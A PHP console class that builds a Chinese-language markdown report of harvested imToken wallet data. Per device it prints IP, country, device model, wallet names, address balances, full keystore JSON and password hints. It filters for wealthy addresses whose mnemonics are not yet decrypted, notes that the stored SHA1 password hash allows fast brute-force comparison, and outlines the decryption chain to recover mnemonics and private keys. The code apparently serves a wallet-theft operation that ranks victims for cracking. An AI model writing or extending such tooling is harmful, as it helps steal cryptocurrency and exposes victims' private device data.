<?php

namespace App\Console\Commands;

use App\Models\WalletAddress;

/**
 * Renders the imToken-rich export as a markdown document.
 * Each device is one block:
 *   - summary line (设备 id, 密码提示, 地址数, 总余额)
 *   - 设备基本信息 as JSON
 *   - 地址列表 as table
 *   - keystore as JSON
 *
 * @internal
 */
final class ExportImtokenRichMarkdown
{
    public function __construct(
        private readonly array $summary,
        private readonly array $devices,
    ) {}

    public function render(): string
    {
        $md = [];
        $md[] = '# imToken 富地址导出报告';
        $md[] = '';
        $md[] = '导出时间: '.$this->summary['exported_at'];
        $md[] = '';
        $md[] = '筛选条件: imToken 地址 · 余额 ≥ $'.$this->summary['min_usd']
            .' · 无助记词 · 有 keystore';
        $md[] = '';
        $md[] = '## 汇总';
        $md[] = '';
        $md[] = '| 指标 | 值 |';
        $md[] = '|---|---|';
        $md[] = "| 设备数 | {$this->summary['device_count']} |";
        $md[] = "| 地址数 | {$this->summary['address_count']} |";
        $md[] = "| Keystore 数 | {$this->summary['keystore_count']} |";
        foreach ($this->summary['totals']['coins'] as $col => $val) {
            $sym = strtoupper($col);
            $md[] = "| {$sym} 总额 | {$val} |";
        }
        $md[] = "| USD 估算 | {$this->summary['totals']['usd_approx']} |";
        $md[] = '';
        $md[] = '> USD 估算仅用于排序，价格假设: TRX=0.15, ETH=2500, BTC=60000, BNB=500, SOL=150, USDT=1';
        $md[] = '';

        foreach ($this->devices as $device) {
            $this->renderDevice($md, $device);
        }

        $md[] = '---';
        $md[] = '';
        $md[] = '## 字段说明';
        $md[] = '';
        $md[] = '- **decrypted**: keystore 是否已解出助记词 (1=已解出, 0=未解出，需密码)';
        $md[] = '- **keyHash**: imToken 的 SHA1(密码)，可用于快速爆破比对';
        $md[] = '- **imTokenMeta.source**: `MNEMONIC`/`NEW_MNEMONIC` = 加密助记词；`PRIVATE_KEY` = 加密单私钥';
        $md[] = '- **imTokenMeta.passwordHint**: 密码提示（首字母或长度线索）';
        $md[] = '- **derivationPath**: HD 派生路径，`m/44\'/195\'/0\'/0/{index}` = TRON (195)';
        $md[] = '- 解密流程: 密码 → pbkdf2/scrypt → AES-128-CTR(ciphertext) → 助记词/私钥';
        $md[] = '';

        return implode("\n", $md);
    }

    private function renderDevice(array &$md, array $device): void
    {
        $hints = $this->collectPasswordHints($device['keystores']);
        $hintStr = $hints !== [] ? '`'.implode('`, `', $hints).'`' : '无';
        $addrCount = count($device['addresses']);
        $usd = $device['totals']['usd_approx'];

        $md[] = '---';
        $md[] = '';
        $md[] = "## 设备 #{$device['id']} — `{$device['device_id']}`";
        $md[] = '';
        $md[] = "**密码提示**: {$hintStr} · **地址数**: {$addrCount} · **总余额**: ~\${$usd}";
        $md[] = '';

        // 设备基本信息 as JSON
        $basicInfo = [
            'id' => $device['id'],
            'device_id' => $device['device_id'],
            'channel_id' => $device['channel_id'],
            'model' => $device['model'],
            'ios_version' => $device['ios_version'],
            'ip' => $device['ip'],
            'country' => $device['country'],
            'wallet_names' => $device['wallet_names'],
            'user_agent' => $device['user_agent'],
            'created_at' => $device['created_at'],
        ];
        $md[] = '**设备基本信息**:';
        $md[] = '';
        $md[] = '```json';
        $md[] = json_encode($basicInfo, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT);
        $md[] = '```';
        $md[] = '';

        // 地址列表 as table
        $this->renderAddressTable($md, $device['addresses']);

        // keystore as JSON
        $this->renderKeystores($md, $device['keystores']);
    }

    /**
     * @param  list<array<string, mixed>>  $keystores
     * @return list<string>
     */
    private function collectPasswordHints(array $keystores): array
    {
        $hints = [];
        foreach ($keystores as $ks) {
            $meta = $ks['keystore']['imTokenMeta'] ?? null;
            if (is_array($meta) && isset($meta['passwordHint'])) {
                $h = trim((string) $meta['passwordHint']);
                if ($h !== '' && ! in_array($h, $hints, true)) {
                    $hints[] = $h;
                }
            }
        }

        return $hints;
    }

    private function renderAddressTable(array &$md, array $addresses): void
    {
        $md[] = '**地址列表**:';
        $md[] = '';
        if ($addresses === []) {
            $md[] = '_(无)_';
            $md[] = '';

            return;
        }
        $header = ['ID', '地址', 'Chain', 'DeriveIdx', 'MnemonicID', 'Monitor'];
        foreach (WalletAddress::COIN_COLUMNS as $col) {
            $header[] = strtoupper($col);
        }
        $md[] = '| '.implode(' | ', $header).' |';
        $md[] = '|'.implode('|', array_fill(0, count($header), '---')).'|';
        foreach ($addresses as $a) {
            $row = [
                $a['id'],
                '`'.$a['address'].'`',
                $a['chain_type'],
                $a['derive_index'] ?? '-',
                $a['mnemonic_id'] ?? '-',
                $a['monitor'] ? '✓' : '·',
            ];
            foreach (WalletAddress::COIN_COLUMNS as $col) {
                $row[] = $a['coins'][$col] ?? '0';
            }
            $md[] = '| '.implode(' | ', $row).' |';
        }
        $md[] = '';
    }

    private function renderKeystores(array &$md, array $keystores): void
    {
        if ($keystores === []) {
            return;
        }
        foreach ($keystores as $ks) {
            $md[] = '**keystore** (id='.$ks['id'].', decrypted='.($ks['decrypted'] ? '1' : '0').'):';
            $md[] = '';
            $md[] = '```json';
            $md[] = json_encode($ks, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT);
            $md[] = '```';
            $md[] = '';
        }
    }
}